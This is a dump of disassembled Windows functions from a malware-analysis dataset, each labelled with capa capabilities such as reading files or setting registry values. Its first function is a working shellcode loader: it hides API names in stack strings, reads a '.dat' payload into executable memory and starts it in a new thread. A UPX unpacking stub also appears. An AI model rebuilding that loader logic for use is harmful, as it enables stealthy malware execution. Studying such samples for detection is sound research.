joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001018
Capabilities:
Contain obfuscated stackstrings
Get file size
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [0x10013004]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x4b
pop eax
push 0x45
pop ecx
push 0x52
mov word [ebp - 0x40], ax
pop eax
push 0x4e
mov word [ebp - 0x3c], ax
pop eax
push 0x4c
mov word [ebp - 0x3a], ax
pop eax
push 0x33
mov edi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov word [ebp - 0x36], ax
pop eax
push 0x32
mov word [ebp - 0x34], ax
pop eax
push 0x2e
mov word [ebp - 0x32], ax
pop eax
push 0x64
pop ebx
mov word [ebp - 0x30], ax
xor eax, eax
push 0x6c
mov word [ebp - 0x28], ax
mov byte [ebp - 8], al
lea eax, [ebp - 0x14]
mov word [ebp - 0x3e], cx
mov word [ebp - 0x38], cx
pop ecx
push eax
lea eax, [ebp - 0x40]
mov word [ebp - 0x2e], bx
push eax
mov word [ebp - 0x2c], cx
mov word [ebp - 0x2a], cx
mov dword [ebp - 0x14], 0x74726956
mov word [ebp - 0x10], 0x6175
mov byte [ebp - 0xe], cl
mov byte [ebp - 0xd], 0x41
mov byte [ebp - 0xc], cl
mov byte [ebp - 0xb], cl
mov word [ebp - 0xa], 0x636f
call edi
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push eax
call esi
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x24]
push eax
mov byte [ebp - 0x19], bl
lea eax, [ebp - 0x40]
xor ebx, ebx
mov dword [ebp - 0x24], 0x61657243
push eax
mov dword [ebp - 0x20], 0x68546574
mov word [ebp - 0x1c], 0x6572
mov byte [ebp - 0x1a], 0x61
mov byte [ebp - 0x18], bl
call edi
push eax
call esi
push 0x2000
mov esi, 0x100142f8
mov dword [ebp - 0x4c], eax
push esi
push dword [0x100142ec]
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..dat
push esi
mov dword [ebp - 0x44], eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push ebx
push ebx
push 3
push ebx
push 1
push 0xa0000000
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ebx, eax
test ebx, ebx
jne 0x1000113c
or eax, 0xffffffff
jmp 0x10001179
push 0x40
push 0x3000
lea eax, [ebx + 1]
push eax
push 0
call dword [ebp - 0x48]
push 0
mov esi, eax
lea eax, [ebp - 0x44]
push eax
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
push eax
push eax
push esi
push esi
push eax
push eax
call dword [ebp - 0x4c]
push 0xffffffffffffffff
call dword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.10001196
leave
ret

Function at 0x100044e7
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x10004526
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x10004526
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x10004526
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x10004526
cmp dword [ecx + 0x74], 0xe
jbe 0x10004526
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret
Function at 0x6e3ea20
Capabilities:
Packed with generic packer

Disassembly:
pushal
mov esi, section.UPX1
lea edi, [esi - 0x5d60000]
push edi
or ebp, 0xffffffff
jmp 0x6e3ea42
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
add ebx, ebx
jne 0x6e3ea49
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6e3ea38
mov eax, 1
add ebx, ebx
jne 0x6e3ea5b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
add ebx, ebx
jae 0x6e3ea6c
jne 0x6e3ea8b
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6e3ea8b
dec eax
add ebx, ebx
jne 0x6e3ea78
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc eax, eax
jmp 0x6e3ea50
add ebx, ebx
jne 0x6e3ea87
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
jmp 0x6e3eadd
xor ecx, ecx
sub eax, 3
jb 0x6e3eaa3
shl eax, 8
mov al, byte [esi]
inc esi
xor eax, 0xffffffff
je 0x6e3eb12
sar eax, 1
mov ebp, eax
jmp 0x6e3eaae
add ebx, ebx
jne 0x6e3eaae
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6e3ea7c
inc ecx
add ebx, ebx
jne 0x6e3eabc
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jb 0x6e3ea7c
add ebx, ebx
jne 0x6e3eac9
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
adc ecx, ecx
add ebx, ebx
jae 0x6e3eabe
jne 0x6e3eada
mov ebx, dword [esi]
sub esi, 0xfffffffc
adc ebx, ebx
jae 0x6e3eabe
add ecx, 2
cmp ebp, 0xfffffb00
adc ecx, 2
lea edx, [edi + ebp]
cmp ebp, 0xfffffffc
jbe 0x6e3eafc
mov al, byte [edx]
inc edx
mov byte [edi], al
inc edi
dec ecx
jne 0x6e3eaee
jmp 0x6e3ea3e
mov eax, dword [edx]
add edx, 4
mov dword [edi], eax
add edi, 4
sub ecx, 4
ja 0x6e3eafc
add edi, ecx
jmp 0x6e3ea3e
pop esi
mov edi, esi
mov ecx, 0x50c7
mov al, byte [edi]
inc edi
sub al, 0xe8
cmp al, 1
ja 0x6e3eb1a
cmp byte [edi], 0x1e
jne 0x6e3eb1a
mov eax, dword [edi]
mov bl, byte [edi + 4]
shr ax, 8
rol eax, 0x10
xchg ah, al
sub eax, edi
sub bl, 0xe8
add eax, esi
mov dword [edi], eax
add edi, 5
mov al, bl
loop 0x6e3eb1f
lea edi, [esi + 0x6a3b000]
mov eax, dword [edi]
or eax, eax
je 0x6e3eb97
mov ebx, dword [edi + 4]
lea eax, [eax + esi + 0x6a3e910]
add ebx, esi
push eax
add edi, 8
call dword [esi + 0x6a3ea3c]
xchg ebp, eax
mov al, byte [edi]
inc edi
or al, al
je 0x6e3eb4c
mov ecx, edi
jns 0x6e3eb7b
movzx eax, word [edi]
inc edi
push eax
inc edi
mov ecx, 0xaef24857
push edi
dec eax
repne scasb al, byte es:[edi]
push ebp
call dword [esi + 0x6a3ea40]
or eax, eax
je 0x6e3eb91
mov dword [ebx], eax
add ebx, 4
jmp 0x6e3eb69
call dword [esi + 0x6a3ea48]
mov ebp, dword [esi + 0x6a3ea44]
lea edi, [esi - 0x1000]
mov ebx, 0x1000
push eax
push esp
push 4
push ebx
push edi
call ebp
lea eax, [edi + 0x24f]
and byte [eax], 0x7f
and byte [eax + 0x28], 0x7f
pop eax
push eax
push esp
push eax
push ebx
push edi
call ebp
pop eax
popal
lea eax, [esp - 0x80]
push 0
cmp esp, eax
jne 0x6e3ebcb
sub esp, 0xffffff80
jmp 0x4a0fc2
Function at 0x1005f2a
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1d0
mov eax, dword [0x101dc68]
push ebx
push esi
mov esi, dword [ebp + 0x1c]
push edi
push dword [ebp + 0x2c]
mov dword [ebp - 4], eax
push dword [ebp + 0x28]
mov eax, dword [ebp + 8]
push dword [ebp + 0x10]
mov dword [ebp - 0x1a8], eax
push dword [ebp + 0xc]
mov dword [ebp - 0x1a4], esi
call fcn.0101b380
push dword [ebp + 0x2c]
mov dword [ebp - 0x1a0], eax
push dword [ebp + 0x28]
mov dword [ebp - 0x19c], edx
push dword [ebp + 0x18]
push dword [ebp + 0x14]
call fcn.0101b380
mov ecx, dword [ebp + 0x20]
mov ebx, eax
mov eax, edx
mov edx, dword [ebp + 0x24]
mov dword [ebp - 0x1b0], ebx
add ebx, ecx
mov edi, eax
adc edi, edx
mov dword [ebp - 0x1b8], edi
mov edi, dword [ebp - 0x1b0]
and dword [ebp - 0x1b8], 0
or edi, eax
jne 0x1005fb7
push 0xe7
jmp 0x10060a4
xor eax, eax
lea edi, [ebp - 0x1d0]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [0x101d830]
cmp eax, 1
je 0x1005fd3
cmp eax, 3
jne 0x1005fe5
mov eax, dword [0x101d838]
add dword [ebp - 0x1a0], eax
adc dword [ebp - 0x19c], 0
mov eax, ecx
sub eax, 1
sbb edx, 0
mov dword [ebp - 0x198], esi
xor esi, esi
mov dword [ebp - 0x1b4], esi
mov esi, eax
and esi, dword [ebp - 0x1a4]
mov eax, dword [ebp - 0x1b4]
mov edi, edx
and edi, eax
mov eax, esi
or eax, edi
je 0x1006026
lea eax, [ecx - 1]
not eax
and eax, dword [ebp - 0x1a4]
add eax, ecx
mov dword [ebp - 0x198], eax
mov eax, dword [ebp - 0x1a0]
and dword [ebp - 0x1c0], 0
mov dword [ebp - 0x1c8], eax
mov eax, dword [ebp - 0x19c]
mov dword [ebp - 0x1c4], eax
lea eax, [ebp - 0x1d0]
push eax
lea eax, [ebp - 0x1b8]
push eax
push dword [ebp - 0x1b0]
push dword [ebp - 0x198]
push dword [ebp - 0x1a8]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
jne 0x10060b7
push dword [ebp + 0xc]
lea eax, [ebp - 0x194]
push dword [ebp - 0x1a0]
push dword [ebp - 0x1b0]
push dword [ebp - 0x198]
push dword [ebp - 0x1a8]
push 0x1001438
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x1c
push 0x10a
push 0x1001378
push 0x10013e8
call fcn.01007cb4
xor eax, eax
jmp 0x10060f1
or esi, edi
je 0x10060ee
mov esi, dword [ebp - 0x1b0]
mov edi, dword [ebp - 0x1a4]
push esi
push dword [ebp - 0x198]
push edi
call dword [sym.imp.msvcrt.dll_memmove]
mov ecx, ebx
sub ecx, esi
mov edx, ecx
shr ecx, 2
add edi, esi
xor eax, eax
rep stosd dword es:[edi], eax
mov ecx, edx
add esp, 0xc
and ecx, 3
rep stosb byte es:[edi], al
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0101b02f
leave
ret 0x28
Function at 0x10082b1
Capabilities:
Query environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x101dc68]
push esi
push edi
mov edi, dword [ebp + 8]
test edi, edi
mov dword [ebp - 4], eax
je 0x1008311
push edi
call dword [sym.imp.msvcrt.dll_wcslen]
mov esi, 0x104
cmp eax, esi
pop ecx
jae 0x1008311
push esi
lea eax, [ebp - 0x210]
push edi
push eax
call dword [sym.imp.msvcrt.dll_wcsncpy]
and word [ebp - 8], 0
add esp, 0xc
push esi
push edi
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsW]
test eax, eax
je 0x1008311
cmp eax, esi
ja 0x1008311
xor eax, eax
inc eax
jmp 0x1008313
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.0101b02f
leave
ret 4

Function at 0x100a7d0
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x101dc68]
push esi
mov esi, dword [ebp + 0x10]
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push edi
mov edi, dword [ebp + 0xc]
push eax
lea eax, [ebp - 0x8c]
push 0x1002040
push eax
call dword [sym.imp.msvcrt.dll_swprintf]
add esp, 0xc
push 0xf
lea eax, [ebp - 0x24]
push eax
xor eax, eax
push eax
push eax
push eax
push 0x64
lea eax, [ebp - 0x154]
push eax
lea eax, [ebp - 0x8c]
push eax
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
test eax, eax
jne 0x100a841
push 0xc7
push 0x10016d4
push 0x1001ff8
call fcn.01007cb4
xor eax, eax
jmp 0x100a89f
lea eax, [ebp - 0x154]
push eax
push esi
call dword [sym.imp.msvcrt.dll_wcscpy]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcmpW]
pop ecx
pop ecx
push 0x1001fe8
lea eax, [ebp - 0x24]
push eax
call esi
test eax, eax
jne 0x100a86e
mov dword [edi], 2
jmp 0x100a89c
push 0x1001fe0
lea eax, [ebp - 0x24]
push eax
call esi
test eax, eax
jne 0x100a885
mov dword [edi], 1
jmp 0x100a89c
push 0x1001fd4
lea eax, [ebp - 0x24]
push eax
call esi
neg eax
sbb eax, eax
and eax, 0xfffffffd
add eax, 3
mov dword [edi], eax
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
call fcn.0101b02f
leave
ret 0xc

Function at 0x100ac87
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x80
mov eax, dword [0x101dc68]
and word [ebp - 0x12], 0
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
mov edi, dword [ebp + 0xc]
push 0x41
mov dword [ebp - 4], eax
mov word [ebp - 0x16], 0x3a
mov word [ebp - 0x14], 0x5c
pop esi
push 0x33
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x18]
push eax
mov word [ebp - 0x18], si
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
test eax, eax
je 0x100ace3
push 0x30
lea eax, [ebp - 0x80]
push ebx
push eax
call dword [sym.imp.msvcrt.dll_wcsncmp]
add esp, 0xc
test eax, eax
je 0x100acfb
inc esi
cmp si, 0x5a
jbe 0x100acb7
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0101b02f
leave
ret 8
xor eax, eax
mov word [edi], si
inc eax
jmp 0x100acec
Function at 0x100b577
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x84
mov eax, dword [0x101dc68]
and dword [ebp - 0x78], 0
and dword [ebp - 0x70], 0
push ebx
mov ebx, dword [ebp + 0x14]
push esi
mov esi, dword [ebp + 0x18]
cmp dword [esi], 0xa
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x10]
push edi
mov edi, 0x1001924
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edi
jne 0x100b5b5
xor esi, esi
jmp 0x100b64f
push 0x33
lea eax, [ebp - 0x6c]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
test eax, eax
je 0x100b5ae
push 0x30
push dword [ebp - 0x80]
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.msvcrt.dll_wcsncmp]
add esp, 0xc
test eax, eax
jne 0x100b600
mov eax, dword [esi]
lea ecx, [ebx + eax*8]
inc eax
mov dword [esi], eax
lea eax, [ebp + 8]
push eax
mov dword [ebp - 0x70], 1
call fcn.0100b1da
cmp dword [esi], 0xa
jne 0x100b600
xor esi, esi
inc esi
jmp 0x100b64f
push 0xfa00
call sub.msvcrt.dll_void____cdecl_operator_new_unsigned_int_
test eax, eax
pop ecx
mov dword [ebp - 0x74], eax
jne 0x100b628
push 0x398
push 0x10016d4
push 0x1001ff8
call fcn.01007cb4
jmp 0x100b5ae
push 0x7d00
push eax
lea eax, [ebp - 0x6c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeMountPointW]
cmp eax, 0xffffffff
mov dword [ebp - 0x84], eax
jne 0x100b66c
push dword [ebp - 0x74]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
mov esi, dword [ebp - 0x70]
pop ecx
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], edi
call fcn.01007a33
lea ecx, [ebp + 8]
mov dword [ebp + 8], edi
call fcn.01007a33
mov eax, esi
jmp 0x100b700
push 0xffffffffffffffff
push 1
push dword [ebp + 0xc]
lea ecx, [ebp - 0x7c]
call fcn.01007a68
push 0xffffffffffffffff
push 0
push dword [ebp - 0x74]
lea ecx, [ebp - 0x7c]
call fcn.01007a68
lea ecx, [ebp - 0x7c]
call fcn.0100a7af
test eax, eax
jne 0x100b6ba
push esi
push ebx
push dword [ebp - 0x80]
lea eax, [ebp - 0x7c]
push ecx
push ecx
mov ecx, esp
push 0xffffffffffffffff
push eax
call fcn.0100b1ac
call fcn.0100b577
test eax, eax
je 0x100b6ba
mov dword [ebp - 0x70], 1
push 0x7d00
push dword [ebp - 0x74]
push dword [ebp - 0x84]
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointW]
test eax, eax
jne 0x100b66c
push dword [ebp - 0x74]
call sub.msvcrt.dll_void___cdecl_operator_delete_void__
pop ecx
push dword [ebp - 0x84]
call dword [sym.imp.KERNEL32.dll_FindVolumeMountPointClose]
lea ecx, [ebp - 0x7c]
mov dword [ebp - 0x7c], edi
call fcn.01007a33
lea ecx, [ebp + 8]
mov dword [ebp + 8], edi
call fcn.01007a33
mov eax, dword [ebp - 0x70]
mov ecx, dword [ebp - 4]
call fcn.0101b02f
pop edi
pop esi
pop ebx
leave
ret 0x14
Function at 0x100b85f
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ebx
push esi
mov esi, dword [ebp + 8]
xor ebx, ebx
cmp dword [esi], ebx
jne 0x100b885
push esi
push 1
push ebx
push dword [ebp + 0xc]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp eax, ebx
jne 0x100b8bd
push edi
push dword [ebp + 0x18]
mov edi, dword [ebp + 0x14]
push edi
lea eax, [ebp + 8]
push eax
push ebx
push dword [ebp + 0x10]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
cmp eax, ebx
jne 0x100b8bc
mov ecx, dword [ebp + 0x18]
mov ecx, dword [ecx]
cmp ecx, 1
jbe 0x100b8b4
shr ecx, 1
mov word [edi + ecx*2 - 2], bx
jmp 0x100b8bc
mov word [edi], bx
mov eax, 0x3f2
pop edi
pop esi
pop ebx
pop ebp
ret 0x14

Function at 0x100b8c8
Capabilities:
Query or enumerate registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
mov esi, dword [ebp + 8]
cmp dword [esi], 0
jne 0x100b8ed
push esi
push 1
push 0
push dword [ebp + 0xc]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x100b904
push dword [ebp + 0x18]
lea eax, [ebp + 8]
push dword [ebp + 0x14]
push eax
push 0
push dword [ebp + 0x10]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
pop esi
pop ebp
ret 0x14

Function at 0x100b90e
Capabilities:
Set registry value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
mov esi, dword [ebp + 8]
push edi
xor edi, edi
cmp dword [esi], edi
mov word [ebp - 4], di
jne 0x100b946
lea eax, [ebp + 8]
push eax
push esi
push edi
push 0xf003f
push edi
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 0xc]
push 0x80000002
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
cmp eax, edi
jne 0x100b95b
push dword [ebp + 0x18]
push dword [ebp + 0x14]
push dword [ebp + 0x1c]
push edi
push dword [ebp + 0x10]
push dword [esi]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
pop edi
pop esi
leave
ret 0x18
Function at 0x100ba64
Capabilities:
Get file size
Read file on windows

Disassembly:
push 0x28
push 0x10022b8
call fcn.0101b320
or dword [ebp - 0x20], 0xffffffff
xor ebx, ebx
mov dword [ebp - 0x30], ebx
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x28], ebx
mov dword [ebp - 4], ebx
push ebx
push 0x80
push dword [ebp + 0x14]
push ebx
push dword [ebp + 0x10]
push ebx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [ebp - 0x20], eax
cmp eax, 0xffffffff
jne 0x100baaf
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x24], eax
jmp 0x100bb2c
mov edi, dword [ebp + 0xc]
mov esi, dword [edi]
cmp esi, ebx
je 0x100bad5
mov dword [ebp - 0x2c], esi
mov dword [edi], esi
cmp esi, ebx
je 0x100bb2c
push esi
push 0x42
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [ebp - 0x1c], eax
cmp eax, ebx
jne 0x100baf0
push 0x59
jmp 0x100bb00
lea eax, [ebp - 0x34]
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
mov dword [ebp - 0x2c], esi
cmp esi, 0xffffffff
jne 0x100babb
push 0x49
jmp 0x100bb00
push eax
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x38], eax
cmp eax, ebx
jne 0x100bb11
push 0x60
push 0x10016d4
push 0x1002268
call fcn.01007cb4
jmp 0x100bb2c
push ebx
lea ecx, [ebp - 0x30]
push ecx
push esi
push eax
push dword [ebp - 0x20]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x100bb2c
mov dword [ebp - 0x28], 1
or dword [ebp - 4], 0xffffffff
call fcn.0100bb42
mov eax, dword [ebp - 0x1c]
call fcn.0101b35b
ret 0x10

Function at 0x100bbb9
Capabilities:
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x24
push esi
push edi
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor esi, esi
cmp dword [ebp + 8], esi
stosd dword es:[edi], eax
mov dword [ebp - 4], esi
stosd dword es:[edi], eax
je 0x100bc3b
lea eax, [ebp - 0x24]
push esi
mov dword [ebp - 0xc], eax
push 4
lea eax, [ebp - 0x10]
push eax
mov dword [ebp - 0x10], 0xc
mov dword [ebp - 8], esi
call fcn.010102a2
test eax, eax
je 0x100bc3b
push esi
push 0x80
push 4
lea eax, [ebp - 0x10]
push eax
push 3
push 0xc0000000
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x101e240], eax
lea eax, [ebp - 0x10]
push eax
call fcn.0101049e
xor eax, eax
lea edi, [ebp - 0x24]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
mov eax, dword [0x101e240]
cmp eax, 0xffffffff
jne 0x100bc3f
mov dword [0x101e240], esi
xor eax, eax
jmp 0x100bc55
push esi
lea ecx, [ebp - 4]
push ecx
push 0x3a
push 0x10022c4
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
xor eax, eax
inc eax
pop edi
pop esi
leave
ret 4
Function at 0x100bc87
Capabilities:
Print debug messages
Write file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x107c
call fcn.0101b580
mov eax, dword [0x101dc68]
push ebx
xor ebx, ebx
cmp dword [0x101e240], ebx
push esi
mov esi, dword [ebp + 0x14]
mov dword [ebp - 4], eax
mov dword [ebp - 0x107c], ebx
je 0x100bd7a
lea eax, [ebp - 0x1078]
push eax
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
movsx eax, byte [ebp + 8]
push esi
push dword [ebp + 0xc]
push eax
push dword [ebp + 0x10]
movzx eax, word [ebp - 0x106a]
push eax
movzx eax, word [ebp - 0x106c]
push eax
movzx eax, word [ebp - 0x106e]
push eax
movzx eax, word [ebp - 0x1070]
push eax
movzx eax, word [ebp - 0x1072]
push eax
movzx eax, word [ebp - 0x1076]
push eax
movzx eax, word [ebp - 0x1078]
push eax
push 0x1002300
lea eax, [ebp - 0x1068]
push 0x1064
push eax
call dword [sym.imp.msvcrt.dll__snprintf]
add esp, 0x38
push 2
push ebx
push ebx
push dword [0x101e240]
mov byte [ebp - 5], bl
call dword [sym.imp.KERNEL32.dll_SetFilePointer]
lea eax, [ebp - 0x1068]
lea esi, [eax + 1]
mov cl, byte [eax]
inc eax
cmp cl, bl
jne 0x100bd3e
push ebx
lea ecx, [ebp - 0x107c]
push ecx
sub eax, esi
push eax
lea eax, [ebp - 0x1068]
push eax
push dword [0x101e240]
call dword [sym.imp.KERNEL32.dll_WriteFile]
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x100bd7a
lea eax, [ebp - 0x1068]
push eax
call dword [sym.imp.KERNEL32.dll_OutputDebugStringA]
mov ecx, dword [ebp - 4]
pop esi
pop ebx
call fcn.0101b02f
leave
ret 0x10
Function at 0x1010d19
Capabilities:
Get disk information

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x2d4
mov eax, dword [0x101dc68]
push ebx
push esi
mov esi, dword [sym.imp.msvcrt.dll_swprintf]
push edi
movzx edi, word [ebp + 8]
push edi
mov dword [ebp - 4], eax
lea eax, [ebp - 0xcc]
push 0x1002a34
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_GetDriveTypeW]
mov ebx, eax
push ebx
call fcn.010109e4
test eax, eax
je 0x1010d89
push edi
lea eax, [ebp - 0x2d4]
push 0x1002a24
push eax
call esi
add esp, 0xc
lea eax, [ebp - 0x2d4]
push eax
call fcn.01010a08
mov esi, eax
cmp esi, 0xffffffff
jne 0x1010d8d
xor eax, eax
jmp 0x1010daa
push 0
lea eax, [ebp - 0x2d4]
push eax
push ebx
push esi
xor ecx, ecx
call fcn.01010a46
push esi
mov edi, eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
pop ebx
call fcn.0101b02f
leave
ret 4

Function at 0x1011262
Capabilities:
Get file attributes

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x10
push ebx
push esi
push edi
xor eax, eax
lea edi, [ebp - 8]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
xor eax, eax
lea edi, [ebp - 0x10]
stosd dword es:[edi], eax
push 6
stosd dword es:[edi], eax
push 8
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x10]
push eax
push dword [ebp + 8]
or ebx, 0xffffffff
mov esi, ebx
call dword [sym.imp.ntdll.dll_NtQueryInformationFile]
test eax, eax
jl 0x10112ab
cmp dword [ebp - 0x10], 0
jl 0x10112ab
mov esi, dword [ebp - 4]
mov ebx, dword [ebp - 8]
and esi, 0xffff
pop edi
mov edx, esi
pop esi
mov eax, ebx
pop ebx
leave
ret 4